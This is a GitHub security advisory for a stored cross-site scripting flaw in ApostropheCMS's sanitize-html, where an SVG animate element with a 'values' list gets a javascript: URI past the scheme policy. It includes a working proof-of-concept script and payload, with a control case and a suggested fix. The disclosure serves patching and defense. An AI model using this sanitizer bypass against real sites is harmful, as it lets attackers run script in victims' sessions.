GHSA-g8qq-57p8-ggw5

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GHSA-g8qq-57p8-ggw5

Summary: ApostropheCMS: Stored XSS via SVG SMIL URI-list scheme-policy bypass

Details: ### Summary When SVG animation is allowed, `attributeName="href"` makes `values` a list of URL destinations. `sanitize-html` accepts a list that starts with a safe fragment even when `values` is explicitly scheme-checked, allowing a later `javascript:` destination to execute when the sanitized link is activated. ### Details `index.js:371-383` validates each attribute as one flat URL. It does not recognize that `attributeName="href"` gives the sibling `values` attribute SMIL URI-list semantics. For `values="#safe;javascript:..."`, the leading fragment passes the flat check and the complete list is retained. ### PoC This was reproduced with `[email protected]` and Chromium 150.0.7871.124. The configuration adds SVG animation to the defaults and applies the existing scheme policy to `values`; it does not allow `javascript:`. Save this as `poc.js`: ```js const sanitize = require('sanitize-html'); const input = `<svg><a><animate attributeName="href" values="#safe;javascript:alert('XSS')" dur=".01s" fill="freeze"></animate><text y="30">Click me</text></a></svg>`; const output = sanitize(input, { allowedTags: sanitize.defaults.allowedTags.concat(['svg', 'animate', 'text']), allowedAttributes: { ...sanitize.defaults.allowedAttributes, animate: ['attributename', 'values', 'dur', 'fill'], text: ['y'] }, allowedSchemesAppliedToAttributes: sanitize.defaults.allowedSchemesAppliedToAttributes.concat(['values']) }); console.log(output); ``` Install and run it, then open `poc.html` and click `Click me`: ```sh npm install [email protected] node poc.js > poc.html ``` The output retains the `javascript:` entry, and clicking the sanitized SVG displays `XSS`. With `input` changed to `<a href="javascript:alert(1)">control</a>`, the same configuration removes `href`. ### Impact In an application that accepts attacker-authored SVG animation, the attacker can store this payload without scripts or event handlers. A victim who activates the sanitized link executes JavaScript in the application's origin despite the configured scheme policy. ### Suggested fix Reject `attributeName` values selecting `href` or `xlink:href` on SVG `animate` and `set`, while retaining safe targets such as `fill`. Add `values`, `from`, and `to` regression cases.

References: https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-g8qq-57p8-ggw5, https://github.com/apostrophecms/apostrophe/pull/5552, https://github.com/apostrophecms/apostrophe/commit/1135516a1a4a8f9638641c460488a43d8af20081, https://github.com/apostrophecms/apostrophe/commit/38ff1106c8176b16c2da9872acd9b449adcbb949, https://github.com/apostrophecms/apostrophe, https://github.com/apostrophecms/apostrophe/blob/main/packages/sanitize-html/CHANGELOG.md